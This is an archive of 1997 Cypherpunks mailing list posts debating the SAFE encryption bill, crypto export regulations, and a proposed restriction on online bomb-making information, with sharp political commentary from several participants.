In-Reply-To: <v03007804af8e6d02687c@[168.161.105.191]>
Message-ID: <3.0.1.32.19970501220814.002ed6f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:54 AM 5/1/97 -0400, Declan McCullagh wrote:
>The Clinton administration escalated
>its assault on the Net this week, warning that it
>provides bomb-making recipes to anyone "with a modem"
>and proposing a new law to restrict such information.*
...
>"A member of the DoJ committee accessed a single web site
>on the World Wide Web and obtained the titles of 110
>different bomb-making texts."

OH, NO*!!!  THERE ARE BOOKSTORES ON THE NET!!!!
WITH BANNED BOOKS IN THEM!!!!  OH, NO!!!!

	[*Please excuse the shouting, I'm quoting FBI officials here :-]

The obvious bookstores to look at, if you want to freak the mundanes, are
	http://www.loompanics.com/ and http://www.paladin-press.com/
Yer basic Whole Extremist Catalogs.  Of course, if you _really_ want to
find books on explosives, you'll need to wait until the 
Library of CONgress is on line, or the U.S.Army Field Manuals.
If you can't find explosives on the net, AltaVista's not doing its job.

My favorite net explosives site is the Hagley Museum in Wilmington Delaware,
about 105 miles from Declan's location in the Heart of Darkness.
It's the old duPont Gunpowder Mills, and was a popular field trip for
elementary school students when I was growing up.  We'd learn how to
make gunpowder, and learn about workplace safety and colonial industry,
and watch the ducks and geese on the Brandywine River (Is it still legal
to mention the name of a river named after Alcoholic Beverages on the net?
They also farmed tobacco near there!)

Pictures of Munitions Preparation Equipment are on the Dangerous Internet at 
	http://www.hagley.lib.de.us/wheel.gif


[*During a previous call for censorship of bombs and bad language on the net,
I received email from a number of Senators, including Feinstein, containing 
obscenity and terrorism instructions.  Don't remember if Biden replied.
Email autoresponders can be fun.]	



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Fri, 2 May 1997 11:22:01 +0800
To: Alan Davidson <abd@cdt.org>
Subject: Re: SAFE Bill is a Good Thing--"Crypto For The Masses"
In-Reply-To: <v03020900af8e47bb1440@[207.226.3.11]>
Message-ID: <Pine.SOL.3.96.970501220326.16231O-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 1 May 1997, Alan Davidson wrote:
> 
> What SAFE does legalize is strong, non-escrow encryption in the products
> that are most widely used, in almost all countries worldwide.  Once
> *ordinary people* have strong crypto built in to the products they use
> every day, it will be much harder for governments to take it away or
> restrict it.

What's illegal about strong non-escrow encryption now?  Why 
does it need to be "legalized"?  And wh will it be harder to 
require escrow "once *ordinary people* have strong crypto"?
Doesn't seem to follow necessarily, does it?
> 
> 2. CDT Does Not Support The Criminal Provision in SAFE

I don't get it.  CDT loudly supports the bill. The bill
contains the criminal provision.  I don't get it.  Do you?
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 2 May 1997 13:26:28 +0800
To: Alec <camcc@abraxis.com>
Subject: Re: Fingerprint Stego
In-Reply-To: <199704291937.MAA08955@netcom23.netcom.com>
Message-ID: <3.0.1.32.19970501221524.00680708@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>|It seems the INS and FBI are unwilling to grant US citizenship to
>|persons without legible fingerprints.
..
>Does this mean that, ipso facto (I love it), physically challenged
>individuals with missing or deformed hands are excluded regardless of other
>qualifications? What a monstrosity of a rule!

Or at least that some individual thugs working for La Migra think so.
If your real fingerprints are <null set>, then those are your
real fingerprints - and if the Thugs don't like it, fire them.

>Was this carried over the wire? AP?
(Hey, we weren't talking about Jim Bell here.  Maybe we should?:-)

>|"This is not something we take lightly," said INS spokesperson
>|Irene Mortensen. "We can't just arbitrarily give out citizenship
>|to just anyone."
...
>Is it not possible to retroactively _remove_ the citizenship of such an
>arrogant bureaucrat to test whether she could make the grade imposed on the
>rest of the world's "refuse?"

Only for treason; this may qualify.   While the Constitution does give
Congress authority to set procedures for naturalizing immigrants,
it doesn't give them an option about _whether_ to do it.  Just how.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 2 May 1997 13:48:55 +0800
To: cypherpunks@cyberpass.net
Subject: "restrict technical assistance by U.S. persons with respect toencryption"
In-Reply-To: <tcmay@got.net>
Message-ID: <v03007809af8f34477b82@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:09 PM -0800 5/1/97, Anil Das wrote:
>On May 1, 11:40am, Tim May wrote:
>>
>> I'm no expert in these areas, but doesn't this consitute "providing hooks"
>> for strong crypto? The EARs say that a "hook" for inserting crypto modules
>> once a product is exported are essentially as bad as providing the crypto
>> before the product is exported.
>
>	If the EAR says that, I would like to have a reference to
>the section, please, so I can look it up at jya.com. I am not
>saying it is not there, just that I haven't seen it, and I would
>like to see what the exact language is.

I hate it when people ask me to go dig up stuff...as I often end up wasting
my time doing it, instead of telling them to use their own search tools.

(It might be different if details like this were at my fingertips, sort of
like someone asking, "Is it true that Darwin wrote a book? Anyone know the
name of it?" As the export laws are long and complicated, finding things is
not easy.)

But it may have been worth it. While stupidly searching the EARs with my
tools, I found this little gem:

PART 730--[AMENDED]

    8. Section 730.5 is amended by adding a new sentence to the end of
paragraph (d) to read as follows:

Sec. 730.5  Coverage of more than exports.

* * * * *
    (d) * * * The EAR also restrict technical assistance by U.S.
persons with respect to encryption commodities or software.


[end quote]

This from http://jya.com/bxa123096.txt

I'm not sure what it means for Sameer and C2net, but were I him I'd have
some experts in this area look into whether _anything_ being done at C2net
could be construed as providing technical assistance.

And I seem to recall some saying these kinds of EAR restrictions were
linked to nuclear weaons...in fact, just today Lucky wrote: "I you read
744.6 EAR you will find the the provisions cited below only apply to nukes
and missiles, not crypto." I'm not sure what 744.6 is all about, but the
section quoted above pretty clearly says that providing technical
assistance with respect to crypto is covered.

Meanwhile, I didn't find the term "hook" mentioned in this particular URL.
But there have been many discussions of this, vis-a-vis the situation of
removing crypto from a product to get export approval and having a method
of adding crypto abroad. "Insert crypto hooks here" is treated as if the
program had crypto all along.

Anil, you'll have to do the research on where in the vast amount of stuff
on the EARs, the Munitions List, the CCL, etc. this is spelled out. I'm
done for the evening.

--Tim May, who makes a May Day promise to himself not be gulled into doing
clerking for others



There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 2 May 1997 13:50:58 +0800
To: cypherpunks@cyberpass.net
Subject: Response to Alan Davidson
Message-ID: <v0300780daf8f3cb776f3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


I posted this article to the newsgroups alt.cypherpunks,
talk.politics.crypto, comp.org.eff.talk, and copied this list on it from my
newsreader, but the article hasn't shown up here on the list. Sometimes the
newsreader/spooler/whateer runs into snags, so here it is, manually sent:

At 1:56 PM -0800 5/1/97, Alan Davidson wrote to the Cypherpunks list:

>SAFE would legalize the export (to all but a few countries such as Iran, N.
>Korea, and Cuba) of non-escrow encryption *of unlimited strength* that is
>designed for the mass market or is in the public domain, i.e.:
>
>        "(i) that is generally available, as is, and is
>                    designed for installation by the purchaser; or
>
>                    "(ii) that is in the public domain for which
>                    copyright or other protection is not available
>                    under title 17, United States Code, or that is
>                    available to the public because it is generally
>                    accessible to the interested public in any form;"
>         (See also Footnote below)

But of course this is not the complete quote. Here is the material above,
plus the surrounding context (and what I think are some "gotchas"):

[[My comments are in brackets like this.]]

"(2) ITEMS NOT REQUIRING LICENSES. -- No validated license may be required,
except pursuant to the Trading With the Enemy Act or the International
Emergency Economic Powers Act (but only to the extent that the authority of
such Act is not exercised to extend controls imposed under this Act), for
the export or reexport of--

[[And what limitations on export does the International Emergency Economic
Powers Act impose? This is a murky and complicated area of the law, and our
own Professor Froomkin, in his excellent "It Came from Planet Clipper"
review of Clipper, noted: "The only authorities noted in Executive Order
12,924 are the
President's inherent constitutional authority and the International
Emergency Economic Powers Act (IEEPA).{224} Assuming that the President
does
not have inherent constitutional authority to block exports in peacetime,
the authority for this action is IEEPA, which by its own terms applies to
"any
unusual and extraordinary threat, which has its source in whole or
substantial part outside the Untied States ... if the President declares a
national
emergency with respect to such threat."{225} While Executive Order 12,924
refers to the danger of "unrestricted access of foreign parties to U.S.
goods, technology and technical data," it seems that the real "unusual and
extraordinary" threat consists of Congress's failure to renew the EAA.
Indeed, the President's most recent renewal of the state of emergency
admits that the state of emergency must be extended "[b]ecause the Export
Administration Act has not been renewed by the Congress."{226}"

[[I take this quote to mean that the EEPA grants the Pres. authority to
limit exports. Thus, the "except pursuant to" provision could with the
stroke of a pen impose export limits on unbreakable crypto, even if the
later provisions, which I'll get to in a moment, are not the clauses
invoked to limit exports.]]


"(A) any software, including software with encryption capabilities --

"(i) that is generally available, as is, and is designed for installation
by the purchaser; or
"(ii) that is in the public domain for which copyright or other protection
is not available under title 17, United States Code, or that is available
to the public because it is generally accessible to the interested public
in any form; or
"(B) any computing device solely because it incorporates or employs in any
form software (including software with encryption capabilities) exempted
from any - requirement for a validated license under subparagraph (A).

[[The section above does seem to say that, unless EEPA is invoked, crypto
software is exportable. However, the next section states the following:]]


"(3) SOFTWARE WITH ENCRYPTION CAPABILITIES. -- The Secretary shall
authorize the export or reexport of software with encryption capabilities
for nonmilitary end-uses in any country to which exports of software of
similar capability are permitted for use by financial institutions not
controlled in fact by United States persons, unless there is substantial
evidence that such software will be
       --

"(A) diverted to a military end-use or an end-use supporting international
terrorism;

[[So, if it is determined that PGP is being used by the Iraqi regime--as
some sources tell me is the case today!--does this not encompass "diverted
to a military end-use"? If it is obvious that Irish members of the IRA or
Sinn Fein are buying copies of "Mil-Grade PGP" at the Egghead in Boston and
shipping them back to Dublin on cargo pallets, will this satisfy the
"supporting international terrorism" clause? If the 'substantial evidence
that such software will be" part means that such exports are blocked only
if the exporter makes it clear that he will be exporting to the Iraqi High
Command, which he would be foolish to do, then this is an Alice in
Wonderland law. I surmise that the intended interpretation is to block
software with substantially military uses, even if not the primary uses. I
could be wrong, but the confluence of the EEPA and the "diverted to a
military" and "supporting international terrorism" bits lead me to
interpret the bill as saying military-grade PGP will be limited for export
even to countries which are not on the "hot list" of Trading with the Enemy
nations.]]


"(B) modified for military or terrorist end-use; or

[[And what does this mean? If I widely advocate and encourage use of PGP
3.0 as a tool for liberation of oppressed peoples under the bootheel of the
American fascist regime, and show how PGP 3.0 is a tool for blowing up
fascists and their lackeys, and there is even evidence that terrorist
groups are indeed adopting PGP 3.0 in droves, is this clause then
triggered?

(Or must I actually purchase a software export license from PGP, Inc.,
alter the code to read "Pretty Good Terrorist Tool," stamp my boxes "Meant
for International Terrorist Use," apply for an export license, and only
then will the clause be triggered? Ha.

The clear, to mek, interpretation of this language is that the SecDef and
other such persons will notify the Pres., or Commerce, etc., that some
particular program or product is easily capable of being used against
putative American interests, as has long been the case with so many other
export-limited products.

(And the limits are not, Alan's implications to the contrary, limited to
the "Hot List" of terrorist nations. The COCOM agreements, the CCL, and now
the Wasenaar agreements, clearly are a very broad list of products. Hell,
the Japanese are now citing the Wasenaar as the reason the RSA chip will
not be given an export license! The real reason, looking deeper, is because
David Aaron, Stuart Baker, and the other folks in the NSA orbit almost
certainly asked them in very strong terms not to make the RSA chip
available for products.)]]


>SAFE's export control relief is not unlimited. The bill does not allow
>export to Iran, Iraq,  Cuba, or N. Korea (that's what the "Trading With The
>Enemy" provision is about); Congress is not likely to pass a law saying you
>can export strong crypto to Saddam Hussein.  Relief is also limited for

And what of the EEPA provisions? Will the Wasenaar list simply cease to
exist? My recollection, refreshed by skimming the Froomkin article a few
minutes ago, is that the EEPA, semi-perpetually in effect, is the reason
products are already on the list of controlled exports. As Froomkin writes,
"Given, however, that IEEPA provides the current authority for the
continuance of the EAA regime, and that the Clinton Administration proposes
to
move DES, however temporarily, off the USML and onto the CCL, a creation of
the EAA,{229}..."

On to another topic:

>Contrary to reports, the SAFE bill does not say: "Use a cipher, go to
>prison."  It does say: "Use cryptography TO COMMIT A CRIME, go to prison":

This is being disingenuous. I stated very clearly, in two places very
prominently, that the chilling effect of the criminalization section is
analogous to the "use a gun, go to prison" language (and billboards) used
in the War on Crime.

I'd've thought that analogies are a basic skill, not to mention a necessary
skill for doing well on the Verbal section of the SATs. To wit:

"Use a gun, go to prison" is to "Use a gun when committing a crime, go to
prison" as "Use a cipher, go to prison" is to "Use a cipher when committing
a crime, go to prison."

The point is that such criminalization of crypto will have a chilling effect.

In fact, why not support another modification of the First Amendment? (The
crypto modification being one involving speech.) Let's extend it to
religion:

"Religious beliefs are not allowed, but the holding of certain religious
beliefs when a crime is committed may in itself be criminal."

So, if someone bombs and abortion clinic, surely a crime by our laws, and
is found to be a Roman Catholic, this could add 5 years to their sentence.
This is what the criminalization of crypto is comparable to.

Or in the precise language of the SAFE bill:

>   2805. Unlawful use of religious beliefs in furtherance of a criminal act
>
>     "Any person who willfully uses religious beliefs in furtherance
>  of the commission of a criminal offense for which the
>  person may be prosecuted in a court of competent jurisdiction...
>  [may be imprisoned or fined]"


>CDT opposes both these provisions because they are unnecessary and could
>chill the use of encryption (especially by self-confessed felons like Tim
>May!).  But they are not as sweeping as some on this list have said.

Not as sweeping? Where is this "not as sweeping" spelled out? The SAFE text
is itself very short, so I don't see where this comes from. Is it from the
infamous "assurances" which are so often given verbally, but never in
ironclad written form attached as part of the bill? Is it an
"understanding" that this criminalization clause will actually not be
applied except certain classes of criminals? (Who are they, by the way,
that _would_ have the law applied to them?)

I take laws to mean what they say. Al Capone was gotten on income tax
evasion. If the law says using crypto in connection with a crime can result
in a 5-year sentence for a first offense, etc., I take the law to mean just
that. If that's _not_ what was intended, then change the language!!!!

Meanwhile, the crimininalization of crypto use in connection with any of
the ever-increasing array of prosecutable offenses is reason enough to
reject SAFE. That PGP, Inc. or Netscape has an easier time exporting
browers to foreigners is no reason to sacrifice basic liberties.


>Passage of the SAFE Bill would put strong security tools in the hands of
>many more people.  That's why CDT supports SAFE, and why we think people
>who care about privacy and security online should support it too.

Strong crypto, with no criminal penalties attached, is about to become
widely available in the U.S. with the incorporation of S/MIME into
Netscape's and Microsoft's products. Netscape has already said, and I
presume MS has or will too, that they will if necessary have multiple
versions of their products, with a "policy statement" enforcement mechanism
for foreigners.

So, what does SAFE buy us? There are no crypto laws in the U.S., and crypto
is avialable, and will soon be built into tens of millions of browsers.
Looks like we're getting what we need.

Why give up basic liberties so that Netscape can ship just one version?

A bad deal, I say.

"Use a cipher, go to prison."

--Tim May

--
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 2 May 1997 13:55:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <199705010328.UAA19126@mail.pacifier.com>
Message-ID: <19970501224320.48220@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, Apr 30, 1997 at 08:24:27PM -0800, Jim Bell wrote:
> At 23:07 4/29/97 -0700, Kent Crispin wrote:
> 
> >3) There is no serious flaw -- the current government isn't as
> >bad as we claim.  Or, put another way, the evils we see are a function
> >of size of government, and size of government is more a function of
> >population than anything else -- the larger the population, the 
> >larger the government.
> >
> >I think that strong arguments could be made for any of these, though #3 
> >would be shouted down in this forum.
> 
> I disagree that a "strong argument" could be made for item #3.  Sure, some
> people would strenuously ATTEMPT to make that argument, but they would fail
> miserably.  
> 
> I feel confident that a statistical analysis of various countries'
> governments would reveal a wide scatter in the relationship between
> population and government size.  One of the main factors in this scatter is
> simply the amount that government has decided to butt into activities that
> could (and should) be privatized.   Another is the amount that the
> government steals from one group in order to reliably receive the votes of
> some other group.

> Population size would end up being a very poor determinant of government 
> size.  

Yes, there would be scatter, but it is not important.  Population size
is *obviously* a strong determinant of government size.  Clearly, China
(population 1,000,000,000) is going to have a *far* larger government than
Dominica (population 100,000).  This difference far overshadows 
the fact that governments for similar sized countries may vary 
considerably in size -- Dominica will *never* have a government larger 
than China.

You are thinking of the *ratio* of population to government size.  That
is a factor, but, relatively, an inconsequential one.  Country
populations vary by orders of magnitude, whereas the scatter you 
describe might be by one order of magnitude.

So, having clearly established that larger countries will on balance 
have larger governments, we can then just look at organizational 
dynamics.  *Any* large organization requires more infrastructure to 
function.  *Any* large organization will develop bureaucracy.  This 
is true for governments, this is true for businesses, this is true 
for schools, this is true for militias.  A big city police department 
will have many different precints, with multiple layers of 
management, a small town will have a chief of police and a few 
deputies.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 2 May 1997 13:04:57 +0800
To: cypherpunks@toad.com
Subject: Re: Privacy news: Oakland Cameras, Levi employee files,
Message-ID: <199705020433.AAA21400@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


geeman wrote:

> Brief radio piece on the red-light cameras in S.F. --- red-light running
> appears
> to be down at the 4 intersections where cameras are installed; some
> well-placed official was
> quoted as saying "The cameras are definitely having an effect on people's
> behavior." Yes, a
> Good Thing.  They are continuing to move forward with plans to install more
> cameras.
> 
> This is fine for red-light-running.  I'm just worried about the day when
> the cameras
> have an effect on people's behavior with respect to what they say, whom
> they associate with,
> the clothes they wear, the thoughts they think...

  They have also installed hidden cameras in geeman's home.
  This is fine for monitoring geeman. I'm just worried about the day 
when the cameras are put in my own home.

TruthMonitor






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Fri, 2 May 1997 16:21:24 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
Message-ID: <199705020738.AAA02377@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 22:43 5/01/97 -0700, Kent Crispin wrote:
>On Wed, Apr 30, 1997 at 08:24:27PM -0800, Jim Bell wrote:
>> I feel confident that a statistical analysis of various countries'
>> governments would reveal a wide scatter in the relationship between
>> population and government size.  One of the main factors in this scatter is
>> simply the amount that government has decided to butt into activities that
>> could (and should) be privatized.   Another is the amount that the
>> government steals from one group in order to reliably receive the votes of
>> some other group.
>
>> Population size would end up being a very poor determinant of government 
>> size.  
>
>Yes, there would be scatter, but it is not important. 

The only reason "it is not important" is that this scatter is what
demolishes your view of the world.

> Population size
>is *obviously* a strong determinant of government size.

But probably not even close to the largest determinant.


>So, having clearly established that larger countries will on balance 
>have larger governments, we can then just look at organizational 
>dynamics.  *Any* large organization requires more infrastructure to 
>function.  *Any* large organization will develop bureaucracy.  This 
>is true for governments, this is true for businesses, this is true 
>for schools, this is true for militias.  A big city police department 
>will have many different precints, with multiple layers of 
>management, a small town will have a chief of police and a few 
>deputies.


But NONE of this is truly needed.  I have a solution to that problem.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Fri, 2 May 1997 16:16:43 +0800
To: Mac Norton <abd@cdt.org>
Subject: Re: SAFE Bill is a Good Thing--"Crypto For The Masses"
Message-ID: <199705020738.AAA02381@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 22:09 5/01/97 -0500, Mac Norton wrote:
>On Thu, 1 May 1997, Alan Davidson wrote:
>> 2. CDT Does Not Support The Criminal Provision in SAFE
>
>I don't get it.  CDT loudly supports the bill. The bill
>contains the criminal provision.  I don't get it.  Do you?
>MacN

Ditto cubed.  It's so easy to say, "We oppose it with the criminal
provision.  We support it without the criminal provision."


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Fri, 2 May 1997 16:26:18 +0800
To: "Shabbir J. Safdar" <jellicle@inch.com>
Subject: Re: SAFE Bill discussion
Message-ID: <199705020755.AAA03527@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 21:12 5/01/97 -0400, Shabbir J. Safdar wrote:
>The Administration hates this bill, because it threatens their ability to
>roll out Key Recovery.  They've said as much in the letter Declan forwarded:
>
>   "The bill could be read as prohibiting the United States government
>    from using appropriate incentives to support a key management
>    infrastructure and KEY RECOVERY." [emphasis added]
>
>Do you think that if this bill helped the Administration, that they'd be
>out there urging the subcommittee chairman to stop it?  I think not.

Then you are thinking FAR too simplistically and your logic is poor.   The
Administration thugs realized long ago that they were (correctly) viewed as
a "reverse barometer": Freedom and privacy-loving people saw, generally,
that if something was good the thugs would often oppose it, and if it was
bad the thugs would often support it.  

However, the Maladministration is getting desperate, because they have no
toehold in the regulation of domestic encryption, and they've decided that
it's vitally important to develop such a system.  They know, however, that
their opponents are going to be watching for exactly such a development, and
they know that it isn't going to come cheap.  Perhaps they realize that the
only way to try to sneak it through Congress is to pretend to oppose it for
"plausible" reasons, hoping that it will collect a little non-thinking
support from the people who blindly still view the thugs as a reverse
barometer 100% of the time.  Eventually, if the bill passes, they can sign
it, concealing their glee at their ability to sneak in an atrocious
provision despite the watchful eye of many of us.



>Can you consider, perhaps, for a second, that critics of SAFE are being
>unreasonable?  I would think so, as critics of SAFE include the Clinton
>Administration.  Is that the kind of company that cypherpunks keep?

Further poor "logic."  There are obviously going to be incorrect reasons for
opposing SAFE, but there may also be correct reasons.  The fact that the
thugs claim to oppose SAFE, although for the incorrect reasons simply shows
how wrong they are.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 2 May 1997 16:30:31 +0800
To: "Shabbir J. Safdar" <shabbir@vtw.org>
Subject: Re: SAFE Bill discussion
In-Reply-To: <199705011648.MAA29162@arutam.inch.com>
Message-ID: <3.0.1.32.19970502011449.027f8298@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:12 PM 5/1/97 -0400, Shabbir J. Safdar wrote:

>The Administration hates this bill, because it threatens their ability to
>roll out Key Recovery. [...]
>Do you think that if this bill helped the Administration, that they'd be
>out there urging the subcommittee chairman to stop it?  I think not.

Sure they would - it's a standard negotiating tactic. Ask for twice what
you need, then grudgingly accept half of what you asked for, whining and
complaining about how your needs aren't being met, how badly you're being
screwed, etc. Haven't you ever bought a car?

Do you think that the Administration will ever say "We've already
eliminated enough freedom and privacy, we don't need more laws to serve the
'legitimate needs of law enforcement'"? I think not.
 
>I'm also puzzled by the fact that CDT is being criticized pretty much
>solely, even though the entire Internet Privacy Coalition, and several
>other groups all wrote a letter of support of the bill with only a
>criticism of one provision.

I think this is occurring for two reasons:

1.	The people at CDT are closely identified with the stance that the EFF
took on the Digital Telephony bill, which is strikingly similar to the
coalition's approach to SAFE - e.g., cooperate with/support legislation
that's harmful, in hopes that by doing so you'll be able to negotiate away
some of the harm .. "We won't do any better than this, so we might as well
make the best of it." Digital Telephony is not ancient history, and it
hasn't been forgotten. I believe that the people who brokered that
compromise are essentially good people, who had good motives and 99% pure
hearts .. but the Digital Telephony bill is a goddamned embarassment to
people who care about privacy and the Fourth Amendment. Now the FBI wants
the ability to implement SIXTY THOUSAND SIMULTANEOUS WIRETAPS. What sort of
macabre dance do you think they'll be doing with the bones of SAFE in a few
more years? 

2.	It strikes me as unlikely that all of the groups mentioned really sat
down and hashed all of this out - my hunch is that one or two of the groups
wrote up an analysis and a proposed letter, and asked the other groups to
sign on. A likely suspect for the/a group who did the behind-the-scenes
work is CDT. 

>As far as I can tell, everyone criticizing the bill either thinks that:
>
>	a) CDT actually runs all these groups behind the scenes, or

You're not exactly likely to pick up respect or credibility by ascribing
ridiculous or straw-man positions to people who disagree with you. I
haven't seen anyone (not even the resident loons, and usually someone can
be counted on to pipe up and suggest the existence of a massive
alphabet-soup conspiracy) suggest that "CDT actually runs all these groups
..". 

(Don't bother, Toto - I'll do it for you. "C2Net actually runs all these
groups behind the scenes, as anyone who's bothered to inspect the message
headers while drinking a bottle of Scotch can tell you." And, of course,
Jim Bell has a solution for that.)

>Can you consider, perhaps, for a second, that critics of SAFE are being
>unreasonable?  I would think so, as critics of SAFE include the Clinton
>Administration.  Is that the kind of company that cypherpunks keep?

If this is the caliber and depth of reasoning that you bring to bear on
other issues, it's a miracle that you get anything done at all. Some
critics of SAFE are being unreasonable. Some are not being unreasonable.  

>Here's a great excerpt from the Internet Privacy Coalition letter:
>
>  The pending bill provides a positive framework for the reforms that are
>  long overdue in this critical area. It makes clear that the sale or use
>of
>  encryption, a vital technique to promote network security and individual
>  privacy, should not be restricted in the United States. This is the view
>  widely shared by users of the Internet and the computer and communications
>  industry. It was also a central recommendation of the
>  report of the National Research Council last year.
>
>Looks like widespread support from people who study this issue for living.
>I'm glad to be counted among them.

If SAFE (and ECPA II and ProCODE) limited themselves to the "reforms that
are long overdue in this critical area" (export control), you'd probably
find a lot more support among cypherpunks for them.

I'm beginning to think that the focus on the economic aspects of crypto
export control has been a mistake (cf. "export jobs, not crypto" in my
.signature) - because what we're seeing is corporations working out deals
with the government, and privacy and individual interests are getting
screwed. From my perspective, it was an attempt to recast the crypto debate
in terms that make sense to Congress and policy interests - but what we've
ended up with is a debate about how we can help enormous domestic software
companies compete in global markets, not a debate about the relationship
between individuals and the state, or about privacy and speech as
fundamental rights protected by cryptography. I guess the current thinking
is that privacy for humans will come about through a trickle-down effect,
that strong crypto will be deployed on a large scale because it'll be
quickly built into lots of software .. but I doubt it. Big software
companies don't give a fuck if they're selling GAK crypto or weak crypto or
strong crypto, as long as they're selling it. (the people inside may care,
but they're unlikely to be or stay in positions where their opinions
matter.)  

Which is why cypherpunks should write code, and not wait for Microscape to
do it for them, nor for legislators to make it pleasant for them to do so.
If SAFE is the best we can get from Congress (and people who should know
seem to think it is), we can't expect Congress to save us from the
executive branch. (The executive branch was working on this stuff before
anyone outside of Arkansas had ever heard of Bill Clinton, and they'll
probably still be flogging it in four more years. It's useful to hold
Clinton responsible for what he's done, but it's also useful to remember
that this isn't an issue that's going to go away because we elect a
different Demopublican.) 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 2 May 1997 13:46:27 +0800
To: cypherpunks@toad.com
Subject: Re: Bombs Away, from The Netly News Network
Message-ID: <199705020527.BAA24411@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
 
>     Internet fear-mongering is back in vogue inside
> the White House. The Clinton administration escalated
> its assault on the Net this week, warning that it
> provides bomb-making recipes to anyone "with a modem"
> and proposing a new law to restrict such information.

  "The answer to noise is more noise."
                  - Timothy McVeigh






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Fri, 2 May 1997 17:13:28 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: "restrict technical assistance by U.S. persons with respect to encryption"
In-Reply-To: <tcmay@got.net>
Message-ID: <9705020135.ZM29118@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


Since I am going to quote portions of the EAR and make some comments
on it, let me begin by stating that I Am Not A Lawyer, and none of this
is to be taken as legal advice, or even accurate.

On May 1, 10:18pm, Tim May wrote:
> I hate it when people ask me to go dig up stuff...as I often end up wasting
> my time doing it, instead of telling them to use their own search tools.

	I didn't mean for you to do the search, Tim. I have spent
some time reading the EAR. For example, by reading the
relevant sections of the EAR and correlating it with the
Immigration and Naturlization Act, I figured out that
it would be illegal for somebody in the US to give me
encryption software, though it would be OK for them
to give the same code to a certain class of illegal
immigrants. During all this, I didn't come accross a section which
said that "hooks" or something similiar (used to be known as a DES
shaped hole), cannot be exported without a license. I was hoping
that some of the lawyers who frequent cypherpunk, whose job
it might to understand these regulations would be generous
enough to post a pointer.

> But it may have been worth it. While stupidly searching the EARs with my
> tools, I found this little gem:
> Sec. 730.5  Coverage of more than exports.
>
> * * * * *
